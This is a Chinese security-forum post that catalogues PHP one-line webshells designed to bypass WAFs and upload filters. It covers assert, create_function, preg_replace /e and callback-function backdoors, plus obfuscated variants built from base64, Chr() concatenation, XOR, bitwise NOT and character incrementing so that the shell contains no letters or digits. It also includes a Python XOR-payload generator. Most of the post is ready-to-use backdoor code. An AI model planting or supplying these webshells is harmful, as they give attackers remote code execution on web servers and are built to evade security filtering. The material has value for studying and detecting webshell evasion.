由于文件上传的时候可能对文件内容进行检测,所以可能会对常见的eval函数进行过滤,而导致上传的一句话小马被阉割的情况,以下方法可能可以Bypass WAF或者是一些拦截检测
assert
<?php @assert(@$_POST[123]);?>
# 只能执行单行命令
1、执行 eval()
2、执行写文件,把你需要的代码全部写入文件
file_put_contents("web.php", '<?php echo 123; phpinfo();?>')
create_function
<?php
$fun = create_function('', $_POST[123]);
$fun();
?>
# 第一个参数是传入匿名函数的参数, 第二个参数是执行的函数体
# 如果开发的代码仅仅是使用了匿名函数定义但未调用,可以尝试以下方式进行bypass
<?php
$fun = create_function('',$_POST[123]);
?>
# 本质上,create_function执行的代码如下:
#function 匿名($params1)
#{
# $_POST[123];
#}
######################################################################
其原理和注入漏洞相似, 尝试闭合后构造成新的攻击语句执行
function 匿名($params1)
{
$_POST[123];}phpinfo();//
}
preg_replace
该函数利用该正则表达式替换符合条件的字符串
若在正则表达式末尾加上”e”, 那么这个函数的第二个参数就会被当作代码执行
Warning: php_version > 5.6.9 正则不在支持 /e
<?php
@preg_replace("/abcd/e", $_POST[123], "abcdefg");
?>
file_put_contents
利用函数生成木马
<?php
$test = '<?php $a=$_POST[123]; assert($a);?>';
file_put_contents("web.php", $test);
?>
array_map回调函数
有关回调函数的更多小Tips 参照p神师傅的文章:PHP回调后门
<?php
@array_map($_REQUEST[1], $_REQUEST[2]);
?>
#1=assert&2[]=phpinfo();
call_user_func 回调函数
<?php
@call_user_func('assert', $_POST[123]);
?>
call_user_func
函数可以调用其他函数, 第一个参数是被调用函数名,第二个参数是传入被调用函数里的参数
call_user_func_array回调函数
和上面的 call_user_func
唯一区别的是传入的参数应该是数组
<?php
@call_user_func_array('assert', $_POST[123]);
?>
# POST : 123[]=phpinfo();
array数组变形 适用于 php <= 5.6.9
其实这里还是利用了可变变量的特性!
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST[123]);
?>
PHP变量函数
<?php
$a = "eval";
$a($_POST[8]);
?>
PHP 复杂变量导致的
<?php
$a = "${phpinfo()}";
?>
或
<?php
${phpinfo()}; # 注意:字符串的定义有问题,并不需要参数在双引号中
?>
usort
bool usort(array &$array, callable $value_compare_func)
<?php
highlight_file(__FILE__);
usort(...$_GET);
#usort($_GET[1], "assert");
?>
# 传参为: ?1[]=phpinfo()&1[]=134&2=assert
# ?1[]=phpinfo()&1[]=123
//只有php版本 7.0.0-7.1.0(不包括7.1)有效
uasort
<?php
highlight_file(__FILE__);
$e = "assert";
$arr = array(@$_REQUEST[pass], "test");
uasort($arr, $e);
?>
// 和上述一样 只有php版本 7.0.0-7.1.0(不包括7.1)有效
//php 7.1.9 可以使用system函数
<?php
$bb = "eval";
$aa = "bb";
$$aa($_POST[123]);
?>
<?php
$a = str_replace("Cr4ck","", "asseCr4ckrt");
$a(@$_POST[123]);
?>
<?php
$a = preg_replace("\Cr4ck\","", "asseCr4ckrt");
$a(@$_POST[123]);
?>
<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST[123]);
?>
# 常见命令执行函数base64编码如下
eval-------------------ZXZhbA==:复现的时候eval都无法成功,这是因为eval并不是一个函数,而是一个语言构造器,不能被可变函数调用
assert-----------------YXNzZXJ0
system-----------------c3lzdGVt
exec-------------------ZXhlYw==:注意使用exec的时候需要用echo函数将结果输出
解决eval不能被可变函数引用的方法
可以使用 eval 的包装函数,例如
<?php
$a = "my_e";
$b = "val";
function my_eval($params)
{
eval($params);
}
$c = $a.$b;
$c('phpinfo();');
?>
<?php
$a = 'a'.Chr(115).Chr(115).Chr(101);
$b = Chr(114).'t';
$c = $a.$b;
$c($_POST[123]);
?>
# 第二种用法
<?php
$a = 'a'.Chr(115).Chr(115).Chr(101);
$b = Chr(114).'t';
$c = $a.$b;
call_user_func($c, $_POST[123]);
?>
<?php
$str="a=assert";
parse_str($str);
$a($_POST[123]);
?>
<?php
if(!preg_match('/[a-z0-9]/is', $_GET['shell']))
{
eval($_GET['shell']);
}
?>
将非字母、数字的字符经过各种变换, 构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。
注意:php5和php7中assert函数定义差异,只有部分php7的版本可以使用动态函数执行assert
这里先记录一下P牛的payload
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这里写了一个简单的异或生成脚本
def main():
str = r'~!@#$%^&*()_+<>?,.;:-[]{}\/`'
needstr = "assert"
dictin = {}
left = {}
right = {}
for c in range(len(needstr)):
for i in range (0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
if needstr[c] == chr(a):
print(f"'{str[i]}'^'{str[j]}' = {chr(a)}")
dictin[c] = chr(a)
if __name__ == '__main__':
main()
挑选出一些无歧义字符, ‘+’在url中表示为空格,这里可能会产生一个比较坑的情况,需要特别注意一下
我构造的payload如下
$_='!]]_-/'^'@..:_[';$__='_'.('~`-~'^'./~*');$___=$$__;$____=$_($___[_]);
POST: _=phpinfo()
这里利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,取反得到一些字母
p牛的payload如下
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
注意+号如果是GET传参需要先进行一次url编码成%2b
'a'++ => 'b'`、`'c'-- => 'c'
payload如下:
<?php
$_=[];
$_=@"$_"; //Array
$_=$_['!'=='@'];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++; //E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//_P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;
$_=$$____;
$___($_[_]);
//ASSERT($_POST[_]);
//合并成一行
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
Bypass还是知识的对抗,通过不常见的回调函数加各种操作(比如编码,字符拼接, ascii码的转换等),就可以构造出各种绕过waf的一句话木马!如果有大佬知道更多方法的还请赐教~路过的小朋友,可以点个赞吗!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
sunsky666 | 50.00 | 0 | 2021-08-24 10:10:17 | 一个受益终生的帖子~~ |
sunsky666 | 30.00 | 0 | 2021-08-24 10:10:50 | 我是你的小迷弟 |
Track-手电筒 | 40.00 | 0 | 2021-08-19 21:09:29 | 活动额外奖赏 |
Track-手电筒 | 80.00 | 0 | 2021-08-19 21:09:03 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2022 掌控者 All Rights Reserved.